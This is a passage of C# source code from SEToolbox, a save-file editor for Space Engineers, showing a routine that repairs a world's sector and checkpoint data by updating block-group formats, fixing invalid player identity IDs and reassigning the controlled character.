= gFacilityTrainerMons[DOME_MONS[tournamentId2][monId1]].species; if (gSaveBlock1Ptr->tx_Challenges_BaseStatEqualizer) points2 += 60; else { points2 += ( gSpeciesInfo[species].baseHP + gSpeciesInfo[species].baseAttack + gSpeciesInfo[species].baseDefense + gSpeciesInfo[species].baseSpeed + gSpeciesInfo[species].baseSpAttack + gSpeciesInfo[species].baseSpDefense) / 10; } } // Random part of the formula. points2 += (Random() & 0x1F); // Favor trainers with higher id; points2 += tournamentId2; if (points1 > points2) { DOME_TRAINERS[tournamentId2].isEliminated = TRUE; DOME_TRAINERS[tournamentId2].eliminatedAt = roundId; gSaveBlock2Ptr->frontier.domeWinningMoves[tournamentId2] = GetWinningMove(tournamentId1, tournamentId2, roundId); } else if (points1 < points2) { DOME_TRAINERS[tournamentId1].isEliminated = TRUE; DOME_TRAINERS[tournamentId1].eliminatedAt = roundId; gSaveBlock2Ptr->frontier.domeWinningMoves[tournamentId1] = GetWinningMove(tournamentId2, tournamentId1, roundId); } // Points are the same, so we favor the one with the higher id. else if (tournamentId1 > tournamentId2) { DOME_TRAINERS[tournamentId2].isEliminated = TRUE; DOME_TRAINERS[tournamentId2].eliminatedAt = roundId; gSaveBlock2Ptr->frontier.domeWinningMoves[tournamentId2] = GetWinningMove(tournamentId1, tournamentId2, roundId); } else { DOME_TRAINERS[tournamentId1].isEliminated = TRUE; DOME_TRAINERS[tournamentId1].eliminatedAt = roundId; gSaveBlock2Ptr->frontier.domeWinningMoves[tournamentId1] = GetWinningMove(tournamentId2, tournamentId1, roundId); } } } } static void CopyDomeTrainerName(u8 *str, u16 trainerId) { int i = 0; SetFacilityPtrsGetLevel(); if (trainerId == TRAINER_FRONTIER_BRAIN) { CopyDomeBrainTrainerName(str); } else { if (trainerId == TRAINER_PLAYER) { for (i = 0; i < PLAYER_NAME_LENGTH; i++) str[i] = gSaveBlock2Ptr->playerName[i]; } else if (trainerId < FRONTIER_TRAINERS_COUNT) { for (i = 0; i < PLAYER_NAME_LENGTH; i++) str[i] = gFacilityTrainers[trainerId].trainerName[i]; } str[i] = EOS; } } static u8 GetDomeBrainTrainerPicId(void) { return gTrainers[TRAINER_TUCKER].trainerPic; } static u8 GetDomeBrainTrainerClass(void) { return gTrainers[TRAINER_TUCKER].trainerClass; } static void CopyDomeBrainTrainerName(u8 *str) { int i; for (i = 0; i < PLAYER_NAME_LENGTH; i++) str[i] = gTrainers[TRAINER_TUCKER].trainerName[i]; str[i] = EOS; }
0
0.910619
1
0.910619
game-dev
MEDIA
0.956209
game-dev
0.971578
1
0.971578
Team-UPD/DeltaruneDecomp
3,303
objects/obj_init_console/Create_0.gml
global.savedata_async_id = -1; global.savedata_async_load = false; global.savedata_error = false; global.savedata_debuginfo = ""; global.savedata_pause = false; global.savedata_app_id = -1; global.lang = "en"; _parent = -4; old_savedata_check = false; _load_state = (0 << 0); _pending_title = "n/a"; _pending_titles = []; _full_titles = scr_get_supported_full_titles(); _demo_titles = scr_get_supported_demo_titles(); init = function(arg0, arg1) { _parent = arg0; scr_ossafe_init(); application_surface_enable(true); application_surface_draw_enable(false); if (scr_is_switch_os() && !variable_global_exists("switchlogin")) { global.switchlogin = arg1.switch_id; if (global.switchlogin >= 0) { switch_save_data_unmount(); switch_save_data_mount(global.switchlogin); } while (global.switchlogin < 0) global.switchlogin = switch_accounts_select_account(true, false, false); if (!switch_accounts_is_user_open(global.switchlogin)) switch_accounts_open_user(global.switchlogin); } if (scr_is_switch_os()) { switch_controller_support_set_defaults(); switch_controller_support_set_singleplayer_only(true); switch_controller_set_supported_styles(7); global.savedata_app_id = "n/a"; switch_save_data_unmount(); switch_save_data_mount(global.switchlogin); } if (os_type == os_ps4) { ps4_touchpad_mouse_enable(false); global.savedata_app_id = "n/a"; } ossafe_savedata_load(); }; function load_default_settings() { var _locale = os_get_language(); var _lang; if (scr_is_switch_os()) _lang = substr(switch_language_get_desired_language(), 1, 2); else _lang = (substr(_locale, 1, 2) != "ja") ? "en" : "ja"; global.lang = _lang; if (!instance_exists(obj_input)) { var _input = instance_create(0, 0, obj_input); _input.init(); } } function create_new_save_file() { global.savedata = ds_map_create(); ossafe_ini_open("dr.ini"); ossafe_ini_close(); ossafe_ini_open("true_config.ini"); ini_write_string("__DT", "__DT", string(date_current_datetime())); ossafe_ini_close(); ossafe_savedata_save(); } function convert_loaded_file() { if (ossafe_file_exists("true_config.ini")) { ossafe_ini_open("true_config.ini"); global.lang = ini_read_string("LANG", "LANG", global.lang); ossafe_ini_close(); } if (!scr_has_ura_data()) { for (var i = 0; i < (4 << 0); i++) { var chapter = i + 1; scr_convert_ura_data(chapter); } } ossafe_ini_open("true_config.ini"); ini_write_string("__DT", "__DT", string(date_current_datetime())); ossafe_ini_close(); ossafe_savedata_save(); } function dequeue_full_title() { var title = "n/a"; if (array_length(_full_titles) == 0) return title; title = _full_titles[0]; var adjusted_list = []; for (var i = 0; i < array_length(_full_titles); i++) { if (_full_titles[i] == title) continue; adjusted_list[array_length(adjusted_list)] = _full_titles[i]; } _full_titles = adjusted_list; return title; } function dequeue_demo_title() { var title = "n/a"; if (array_length(_demo_titles) == 0) return title; title = _demo_titles[0]; var adjusted_list = []; for (var i = 0; i < array_length(_demo_titles); i++) { if (_demo_titles[i] == title) continue; adjusted_list[array_length(adjusted_list)] = _demo_titles[i]; } _demo_titles = adjusted_list; return title; }
0
0.932679
1
0.932679
game-dev
MEDIA
0.253506
game-dev
0.897566
1
0.897566
xiaozhu188/pixi-game-match3
7,248
src/match3/GameEffects.ts
import { Container } from "pixi.js"; import { GameScreen } from "../screens/GameScreen"; import { Match3OnMatchData, Match3OnMoveData, Match3OnPopData } from "./Match3"; import { pool } from "../utils/pool"; import { PopExplosion } from "../ui/PopExplosion"; import { Match3Piece } from "./Match3Piece"; import { randomRange } from "../utils/random"; import { getDistance } from "../utils/maths"; import { earthquake, registerCustomEase } from "../utils/animation"; import gsap from "gsap" import { waitFor } from "../utils/asyncUtils"; import { sfx } from "../utils/audio"; import { throttle } from "../utils/throttle"; /** Custom ease curve for x tweens of pieces flying to cauldron */ const easeJumpToCauldronX = registerCustomEase( 'M0,0,C0,0,0.063,-0.304,0.374,-0.27,0.748,-0.228,1,1,1,1', ); /** Custom ease curve for y tweens of pieces flying to cauldron */ const easeJumpToCauldronY = registerCustomEase( 'M0,0 C0,0 0.326,1.247 0.662,1.29 0.898,1.32 1,1 1,1 ', ); /** Custom ease curve for scale tweens of pieces flying to cauldron */ const easeJumpToCauldronScale = registerCustomEase( 'M0,0,C0,0,0.043,-1.694,0.356,-1.694,1.026,-1.694,1,1,1,1', ); /** * All gameplay special effects, isolated on its own class in a way that can be changed freely, without affecting gameplay. * List of special effects in this class: * - Piece Move - Play a short sfx accordingly if the movement is allowed or not * - Piece Explosion - When a piece is popped out, play a little explosion animation in place * - Piece Pop - When a non-special piece is popped out, it flies to the cauldron * - Match Done - When a match happens, play sfx and "shake" the game according to the combo level * - Gird Explosion - Explode all pieces out of the grid, played when gameplay finishes */ export class GameEffects extends Container { /** The game screen instance */ private game: GameScreen; constructor(game: GameScreen) { super(); this.game = game; this.sortableChildren = true; } /** Fired when a piece is popped out from the grid */ public async onPop(data: Match3OnPopData) { // 爆炸烟雾特效 const position = this.toLocal(data.piece.getGlobalPosition()); this.playPopExplosion(position); if (data.isSpecial) { sfx.play('common/sfx-special.wav', { volume: 0.5 }); earthquake(this.game.pivot, 15); // 晃动面板动画,数值越大晃动幅度越大 } else { const position = this.toLocal(data.piece.getGlobalPosition()); const piece = pool.get(Match3Piece); piece.setup({ name: data.piece.name, type: data.piece.type, size: this.game.match3.board.tileSize, interactive: false, }); piece.position.copyFrom(position); this.addChild(piece); await this.playFlyToCauldron(piece); this.removeChild(piece); pool.giveBack(piece); } } /** Play a short explosion effect in given position */ private async playPopExplosion(position: { x: number; y: number }) { const explosion = pool.get(PopExplosion); explosion.x = position.x; explosion.y = position.y; this.addChild(explosion); await explosion.play(); this.removeChild(explosion); pool.giveBack(explosion); } /** Make the piece fly to cauldron with a copy of the original piece created in its place */ public async playFlyToCauldron(piece: Match3Piece) { const x = this.game.cauldron.x + randomRange(-20, 20); const y = this.game.cauldron.y - 55; const to = { x, y }; const distance = getDistance(piece.x, piece.y, x, y); gsap.killTweensOf(piece); gsap.killTweensOf(piece.scale); const duration = distance * 0.001 + randomRange(0.2, 0.8); gsap.set(piece.scale, { x: 1, y: 1 }); // reset scale gsap.to(piece, { x: to.x, duration: duration, ease: easeJumpToCauldronX, }); gsap.to(piece, { y: to.y, duration: duration, ease: easeJumpToCauldronY, }); await gsap.to(piece.scale, { x: 0.5, y: 0.5, duration: duration, ease: easeJumpToCauldronScale, }); // Play cauldron splash sfx.play('common/sfx-bubble.wav', { volume: 1 }); this.game.cauldron.playSplash(to.x - this.game.cauldron.x); } /** Explode all pieces out of the board, when gameplay finishes */ public async playGridExplosion() { earthquake(this.game.pivot, 10); const animPromises: Promise<void>[] = []; this.game.match3.board.pieces.forEach((piece) => { animPromises.push(this.playPieceExplosion(piece)); }); this.game.match3.board.piecesContainer.visible = false; await Promise.all(animPromises); } /** Explode piece out of the board, part of the play grid explosion animation */ private async playPieceExplosion(piece: Match3Piece) { const position = this.toLocal(piece.getGlobalPosition()); const x = position.x + piece.x * 2 + randomRange(-100, 100); const yUp = position.y + randomRange(-100, -200); const yDown = yUp + 600; const animatedPiece = pool.get(Match3Piece); const duration = randomRange(0.5, 0.8); gsap.killTweensOf(animatedPiece); gsap.killTweensOf(animatedPiece.scale); animatedPiece.setup({ name: piece.name, type: piece.type, size: this.game.match3.board.tileSize, interactive: false, }); animatedPiece.position.copyFrom(position); animatedPiece.alpha = 1; this.addChild(animatedPiece); await waitFor(randomRange(0, 0.3)); throttle('pieceExplosion', 100, () => sfx.play('common/sfx-incorrect.wav', { volume: 0.5 }), ); this.playPopExplosion(position); const upTime = duration * 0.4; const downTime = duration * 0.6; gsap.to(animatedPiece, { y: yUp, duration: upTime, ease: 'circ.out' }); gsap.to(animatedPiece, { y: yDown, duration: downTime, ease: 'circ.in', delay: upTime }); gsap.to(animatedPiece, { alpha: 0, duration: 0.2, ease: 'linear', delay: duration - 0.2 }); gsap.to(animatedPiece.scale, { x: 2, y: 2, duration, ease: 'linear' }); await gsap.to(animatedPiece, { x, duration, ease: 'linear' }); this.removeChild(animatedPiece); pool.giveBack(piece); } /** Fired when a piece is moved */ public async onMove(data: Match3OnMoveData) { if (!data.valid) { sfx.play('common/sfx-incorrect.wav', { volume: 0.5 }); } else { sfx.play('common/sfx-correct.wav', { volume: 0.5 }); } } /** Fired when a match is detected */ public async onMatch(data: Match3OnMatchData) { const progress = 0.04; sfx.play('common/sfx-match.wav', { speed: 1 - progress + data.combo * progress }); if (data.combo > 1) earthquake(this.game.pivot, Math.min(1 + data.combo * 0.5, 20)); } }
0
0.825375
1
0.825375
game-dev
MEDIA
0.578044
game-dev,web-frontend
0.970386
1
0.970386
jarjin/SimpleFramework_UGUI
1,231
Assets/uLua/Core/LuaObjectMap.cs
using UnityEngine; using System.Collections.Generic; //忘了原来的设计了,还是用系统的吧 public class LuaObjectMap { private List<object> list; private Queue<int> pool; public LuaObjectMap() { list = new List<object>(1024); pool = new Queue<int>(1024); } public object this[int i] { get { return list[i]; } } public int Add(object obj) { int index = -1; if (pool.Count > 0) { index = pool.Dequeue(); list[index] = obj; } else { list.Add(obj); index = list.Count - 1; } return index; } public bool TryGetValue(int index, out object obj) { if (index >= 0 && index < list.Count) { obj = list[index]; return obj != null; } obj = null; return false; } public object Remove(int index) { if (index >= 0 && index < list.Count) { object o = list[index]; if (o != null) { pool.Enqueue(index); } list[index] = null; return o; } return null; } }
0
0.700851
1
0.700851
game-dev
MEDIA
0.58112
game-dev
0.840183
1
0.840183
Xerios/UniRxSimple
17,100
Assets/Plugins/UniRx/Scripts/UnityEngineBridge/Triggers/ObservableTriggerExtensions.cs
using System; // require keep for Windows Universal App using UnityEngine; namespace UniRx.Triggers { // for GameObject public static partial class ObservableTriggerExtensions { #region ObservableAnimatorTrigger /// <summary>Callback for setting up animation IK (inverse kinematics).</summary> public static IObservable<int> OnAnimatorIKAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<int>(); return GetOrAddComponent<ObservableAnimatorTrigger>(gameObject).OnAnimatorIKAsObservable(); } /// <summary>Callback for processing animation movements for modifying root motion.</summary> public static IObservable<Unit> OnAnimatorMoveAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableAnimatorTrigger>(gameObject).OnAnimatorMoveAsObservable(); } #endregion #region ObservableCollision2DTrigger /// <summary>Sent when an incoming collider makes contact with this object's collider (2D physics only).</summary> public static IObservable<Collision2D> OnCollisionEnter2DAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collision2D>(); return GetOrAddComponent<ObservableCollision2DTrigger>(gameObject).OnCollisionEnter2DAsObservable(); } /// <summary>Sent when a collider on another object stops touching this object's collider (2D physics only).</summary> public static IObservable<Collision2D> OnCollisionExit2DAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collision2D>(); return GetOrAddComponent<ObservableCollision2DTrigger>(gameObject).OnCollisionExit2DAsObservable(); } /// <summary>Sent each frame where a collider on another object is touching this object's collider (2D physics only).</summary> public static IObservable<Collision2D> OnCollisionStay2DAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collision2D>(); return GetOrAddComponent<ObservableCollision2DTrigger>(gameObject).OnCollisionStay2DAsObservable(); } #endregion #region ObservableCollisionTrigger /// <summary>OnCollisionEnter is called when this collider/rigidbody has begun touching another rigidbody/collider.</summary> public static IObservable<Collision> OnCollisionEnterAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collision>(); return GetOrAddComponent<ObservableCollisionTrigger>(gameObject).OnCollisionEnterAsObservable(); } /// <summary>OnCollisionExit is called when this collider/rigidbody has stopped touching another rigidbody/collider.</summary> public static IObservable<Collision> OnCollisionExitAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collision>(); return GetOrAddComponent<ObservableCollisionTrigger>(gameObject).OnCollisionExitAsObservable(); } /// <summary>OnCollisionStay is called once per frame for every collider/rigidbody that is touching rigidbody/collider.</summary> public static IObservable<Collision> OnCollisionStayAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collision>(); return GetOrAddComponent<ObservableCollisionTrigger>(gameObject).OnCollisionStayAsObservable(); } #endregion #region ObservableDestroyTrigger /// <summary>This function is called when the MonoBehaviour will be destroyed.</summary> public static IObservable<Unit> OnDestroyAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Return(Unit.Default); // send destroy message return GetOrAddComponent<ObservableDestroyTrigger>(gameObject).OnDestroyAsObservable(); } #endregion #region ObservableEnableTrigger /// <summary>This function is called when the object becomes enabled and active.</summary> public static IObservable<Unit> OnEnableAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableEnableTrigger>(gameObject).OnEnableAsObservable(); } /// <summary>This function is called when the behaviour becomes disabled () or inactive.</summary> public static IObservable<Unit> OnDisableAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableEnableTrigger>(gameObject).OnDisableAsObservable(); } #endregion #region ObservableFixedUpdateTrigger /// <summary>This function is called every fixed framerate frame, if the MonoBehaviour is enabled.</summary> public static IObservable<Unit> FixedUpdateAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableFixedUpdateTrigger>(gameObject).FixedUpdateAsObservable(); } #endregion #region ObservableLateUpdateTrigger /// <summary>LateUpdate is called every frame, if the Behaviour is enabled.</summary> public static IObservable<Unit> LateUpdateAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableLateUpdateTrigger>(gameObject).LateUpdateAsObservable(); } #endregion #if !(UNITY_IPHONE || UNITY_ANDROID || UNITY_METRO) #region ObservableMouseTrigger /// <summary>OnMouseDown is called when the user has pressed the mouse button while over the GUIElement or Collider.</summary> public static IObservable<Unit> OnMouseDownAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableMouseTrigger>(gameObject).OnMouseDownAsObservable(); } /// <summary>OnMouseDrag is called when the user has clicked on a GUIElement or Collider and is still holding down the mouse.</summary> public static IObservable<Unit> OnMouseDragAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableMouseTrigger>(gameObject).OnMouseDragAsObservable(); } /// <summary>OnMouseEnter is called when the mouse entered the GUIElement or Collider.</summary> public static IObservable<Unit> OnMouseEnterAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableMouseTrigger>(gameObject).OnMouseEnterAsObservable(); } /// <summary>OnMouseExit is called when the mouse is not any longer over the GUIElement or Collider.</summary> public static IObservable<Unit> OnMouseExitAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableMouseTrigger>(gameObject).OnMouseExitAsObservable(); } /// <summary>OnMouseOver is called every frame while the mouse is over the GUIElement or Collider.</summary> public static IObservable<Unit> OnMouseOverAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableMouseTrigger>(gameObject).OnMouseOverAsObservable(); } /// <summary>OnMouseUp is called when the user has released the mouse button.</summary> public static IObservable<Unit> OnMouseUpAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableMouseTrigger>(gameObject).OnMouseUpAsObservable(); } /// <summary>OnMouseUpAsButton is only called when the mouse is released over the same GUIElement or Collider as it was pressed.</summary> public static IObservable<Unit> OnMouseUpAsButtonAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableMouseTrigger>(gameObject).OnMouseUpAsButtonAsObservable(); } #endregion #endif #region ObservableTrigger2DTrigger /// <summary>Sent when another object enters a trigger collider attached to this object (2D physics only).</summary> public static IObservable<Collider2D> OnTriggerEnter2DAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collider2D>(); return GetOrAddComponent<ObservableTrigger2DTrigger>(gameObject).OnTriggerEnter2DAsObservable(); } /// <summary>Sent when another object leaves a trigger collider attached to this object (2D physics only).</summary> public static IObservable<Collider2D> OnTriggerExit2DAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collider2D>(); return GetOrAddComponent<ObservableTrigger2DTrigger>(gameObject).OnTriggerExit2DAsObservable(); } /// <summary>Sent each frame where another object is within a trigger collider attached to this object (2D physics only).</summary> public static IObservable<Collider2D> OnTriggerStay2DAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collider2D>(); return GetOrAddComponent<ObservableTrigger2DTrigger>(gameObject).OnTriggerStay2DAsObservable(); } #endregion #region ObservableTriggerTrigger /// <summary>OnTriggerEnter is called when the Collider other enters the trigger.</summary> public static IObservable<Collider> OnTriggerEnterAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collider>(); return GetOrAddComponent<ObservableTriggerTrigger>(gameObject).OnTriggerEnterAsObservable(); } /// <summary>OnTriggerExit is called when the Collider other has stopped touching the trigger.</summary> public static IObservable<Collider> OnTriggerExitAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collider>(); return GetOrAddComponent<ObservableTriggerTrigger>(gameObject).OnTriggerExitAsObservable(); } /// <summary>OnTriggerStay is called once per frame for every Collider other that is touching the trigger.</summary> public static IObservable<Collider> OnTriggerStayAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Collider>(); return GetOrAddComponent<ObservableTriggerTrigger>(gameObject).OnTriggerStayAsObservable(); } #endregion #region ObservableUpdateTrigger /// <summary>Update is called every frame, if the MonoBehaviour is enabled.</summary> public static IObservable<Unit> UpdateAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableUpdateTrigger>(gameObject).UpdateAsObservable(); } #endregion #region ObservableVisibleTrigger /// <summary>OnBecameInvisible is called when the renderer is no longer visible by any camera.</summary> public static IObservable<Unit> OnBecameInvisibleAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableVisibleTrigger>(gameObject).OnBecameInvisibleAsObservable(); } /// <summary>OnBecameVisible is called when the renderer became visible by any camera.</summary> public static IObservable<Unit> OnBecameVisibleAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableVisibleTrigger>(gameObject).OnBecameVisibleAsObservable(); } #endregion #if !(UNITY_4_0 || UNITY_4_1 || UNITY_4_2 || UNITY_4_3 || UNITY_4_4 || UNITY_4_5) #region ObservableTransformChangedTrigger /// <summary>Callback sent to the graphic before a Transform parent change occurs.</summary> public static IObservable<Unit> OnBeforeTransformParentChangedAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableTransformChangedTrigger>(gameObject).OnBeforeTransformParentChangedAsObservable(); } /// <summary>This function is called when the parent property of the transform of the GameObject has changed.</summary> public static IObservable<Unit> OnTransformParentChangedAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableTransformChangedTrigger>(gameObject).OnTransformParentChangedAsObservable(); } /// <summary>This function is called when the list of children of the transform of the GameObject has changed.</summary> public static IObservable<Unit> OnTransformChildrenChangedAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableTransformChangedTrigger>(gameObject).OnTransformChildrenChangedAsObservable(); } #endregion #region ObservableCanvasGroupChangedTrigger /// <summary>Callback that is sent if the canvas group is changed.</summary> public static IObservable<Unit> OnCanvasGroupChangedAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableCanvasGroupChangedTrigger>(gameObject).OnCanvasGroupChangedAsObservable(); } #endregion #region ObservableRectTransformTrigger /// <summary>Callback that is sent if an associated RectTransform has it's dimensions changed.</summary> public static IObservable<Unit> OnRectTransformDimensionsChangeAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableRectTransformTrigger>(gameObject).OnRectTransformDimensionsChangeAsObservable(); } /// <summary>Callback that is sent if an associated RectTransform is removed.</summary> public static IObservable<Unit> OnRectTransformRemovedAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableRectTransformTrigger>(gameObject).OnRectTransformRemovedAsObservable(); } #endregion #endif #region ObservableParticleTrigger /// <summary>OnParticleCollision is called when a particle hits a collider.</summary> public static IObservable<GameObject> OnParticleCollisionAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<GameObject>(); return GetOrAddComponent<ObservableParticleTrigger>(gameObject).OnParticleCollisionAsObservable(); } #if UNITY_5_4_OR_NEWER /// <summary>OnParticleTrigger is called when any particles in a particle system meet the conditions in the trigger module.</summary> public static IObservable<Unit> OnParticleTriggerAsObservable(this GameObject gameObject) { if (gameObject == null) return Observable.Empty<Unit>(); return GetOrAddComponent<ObservableParticleTrigger>(gameObject).OnParticleTriggerAsObservable(); } #endif #endregion static T GetOrAddComponent<T>(GameObject gameObject) where T : Component { var component = gameObject.GetComponent<T>(); if (component == null) { component = gameObject.AddComponent<T>(); } return component; } } }
0
0.815709
1
0.815709
game-dev
MEDIA
0.947188
game-dev
0.820845
1
0.820845
midspace/SEToolbox
14,036
Main/SEToolbox/SEToolbox/Interop/SpaceEngineersRepair.cs
namespace SEToolbox.Interop { using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Xml.XPath; using Sandbox.Common.ObjectBuilders; using SEToolbox.Models; using SEToolbox.Support; using VRage.Game; using Res = SEToolbox.Properties.Resources; using IDType = VRage.MyEntityIdentifier.ID_OBJECT_TYPE; public static class SpaceEngineersRepair { public static string RepairSandBox(WorldResource world) { var str = new StringBuilder(); var statusNormal = true; var missingFiles = false; var saveAfterScan = false; string errorInformation; // repair will use the WorldResource, thus it won't have access to the wrapper classes. // Any repair must be on the raw XML or raw serialized classes. var repairWorld = world; if (!repairWorld.LoadCheckpoint(out errorInformation)) { statusNormal = false; str.AppendLine(errorInformation); missingFiles = true; } var xDoc = repairWorld.LoadSectorXml(); if (xDoc == null) { str.AppendLine(Res.ClsRepairSectorBroken); str.AppendLine(Res.ClsRepairUnableToRepair); missingFiles = true; } else { var nsManager = xDoc.BuildXmlNamespaceManager(); var nav = xDoc.CreateNavigator(); #region Updates the Group Control format. var shipNodes = nav.Select("MyObjectBuilder_Sector/SectorObjects/MyObjectBuilder_EntityBase[@xsi:type='MyObjectBuilder_CubeGrid']", nsManager); while (shipNodes.MoveNext()) { var groupBlocksNode = shipNodes.Current.SelectSingleNode("BlockGroups/MyObjectBuilder_BlockGroup/Blocks", nsManager); if (groupBlocksNode != null) { var entityIdNodes = groupBlocksNode.Select("long", nsManager); var removeNodes = new List<XPathNavigator>(); while (entityIdNodes.MoveNext()) { var entityId = Convert.ToInt64(entityIdNodes.Current.Value); var node = shipNodes.Current.SelectSingleNode(string.Format("CubeBlocks/*[./EntityId='{0}']", entityId), nsManager); if (node != null) { var x = node.ToValue<string>("Min/@x"); var y = node.ToValue<string>("Min/@y"); var z = node.ToValue<string>("Min/@z"); entityIdNodes.Current.InsertBefore(string.Format("<Vector3I><X>{0}</X><Y>{1}</Y><Z>{2}</Z></Vector3I>", x, y, z)); removeNodes.Add(entityIdNodes.Current.Clone()); str.AppendLine(Res.ClsRepairReplacedBlockGroup); saveAfterScan = true; statusNormal = false; } } foreach (var node in removeNodes) { node.DeleteSelf(); } } } //<BlockGroups> //<MyObjectBuilder_BlockGroup> // <Name>Open</Name> // <Blocks> // <long>-2287829012813351669</long> // <long>-1828477283611406765</long> // <long>73405095007807299</long> // <long>-8785290580748247313</long> // </Blocks> //</MyObjectBuilder_BlockGroup> //</BlockGroups> //<BlockGroups> //<MyObjectBuilder_BlockGroup> // <Name>Open</Name> // <Blocks> // <Vector3I> // <X>-1</X> // <Y>2</Y> // <Z>-4</Z> // </Vector3I> // <Vector3I> // <X>-1</X> // <Y>7</Y> // <Z>2</Z> // </Vector3I> // <Vector3I> // <X>-1</X> // <Y>8</Y> // <Z>-9</Z> // </Vector3I> // <Vector3I> // <X>-1</X> // <Y>13</Y> // <Z>-3</Z> // </Vector3I> // </Blocks> //</MyObjectBuilder_BlockGroup> //</BlockGroups> if (saveAfterScan) { repairWorld.SaveSectorXml(true, xDoc); str.AppendLine(Res.ClsRepairSavedChanges); } #endregion } repairWorld.LoadDefinitionsAndMods(); if (!repairWorld.LoadSector(out errorInformation)) { statusNormal = false; str.AppendLine(errorInformation); missingFiles = true; } if (repairWorld.Checkpoint == null) { statusNormal = false; str.AppendLine(Res.ClsRepairCheckpointBroken); str.AppendLine(Res.ClsRepairUnableToRepair); missingFiles = true; } if (repairWorld.SectorData == null) { statusNormal = false; str.AppendLine(Res.ClsRepairSectorBroken); str.AppendLine(Res.ClsRepairUnableToRepair); missingFiles = true; } if (!missingFiles) { MyObjectBuilder_Character character; saveAfterScan = false; Dictionary<long, long> idReplacementTable = new Dictionary<long, long>(); if (repairWorld.Checkpoint.Identities != null) { foreach(var identity in repairWorld.Checkpoint.Identities) { if (!SpaceEngineersApi.ValidateEntityType(IDType.IDENTITY, identity.IdentityId)) { identity.IdentityId = MergeId(identity.IdentityId, IDType.IDENTITY, ref idReplacementTable); statusNormal = false; str.AppendLine(Res.ClsRepairFixedPlayerIdentity); saveAfterScan = true; } } } if (repairWorld.Checkpoint.AllPlayersData != null) { foreach (var player in repairWorld.Checkpoint.AllPlayersData.Dictionary) { if (!SpaceEngineersApi.ValidateEntityType(IDType.IDENTITY, player.Value.IdentityId)) { player.Value.IdentityId = MergeId(player.Value.IdentityId, IDType.IDENTITY, ref idReplacementTable); statusNormal = false; str.AppendLine(Res.ClsRepairFixedPlayerIdentity); saveAfterScan = true; } } } if (saveAfterScan) { repairWorld.SaveCheckPointAndSector(true); str.AppendLine(Res.ClsRepairSavedChanges); } if (world.SaveType == SaveWorldType.Local) { var player = repairWorld.FindPlayerCharacter(); if (player == null) { statusNormal = false; str.AppendLine(Res.ClsRepairNoPlayerFound); character = repairWorld.FindAstronautCharacter(); if (character != null) { repairWorld.Checkpoint.ControlledObject = character.EntityId; repairWorld.Checkpoint.CameraController = MyCameraControllerEnum.Entity; repairWorld.Checkpoint.CameraEntity = character.EntityId; str.AppendLine(Res.ClsRepairFoundSetPlayer); repairWorld.SaveCheckPointAndSector(true); str.AppendLine(Res.ClsRepairSavedChanges); } else { var cockpit = repairWorld.FindPilotCharacter(); if (cockpit != null) { repairWorld.Checkpoint.ControlledObject = cockpit.EntityId; repairWorld.Checkpoint.CameraController = MyCameraControllerEnum.ThirdPersonSpectator; repairWorld.Checkpoint.CameraEntity = 0; str.AppendLine(Res.ClsRepairFoundSetPlayer); repairWorld.SaveCheckPointAndSector(true); str.AppendLine(Res.ClsRepairSavedChanges); } } } saveAfterScan = false; } // Scan through all items. foreach (var entity in repairWorld.SectorData.SectorObjects) { if (entity is MyObjectBuilder_CubeGrid) { var cubeGrid = (MyObjectBuilder_CubeGrid)entity; var list = cubeGrid.CubeBlocks.OfType<MyObjectBuilder_Cockpit>().ToArray(); for (var i = 0; i < list.Length; i++) { 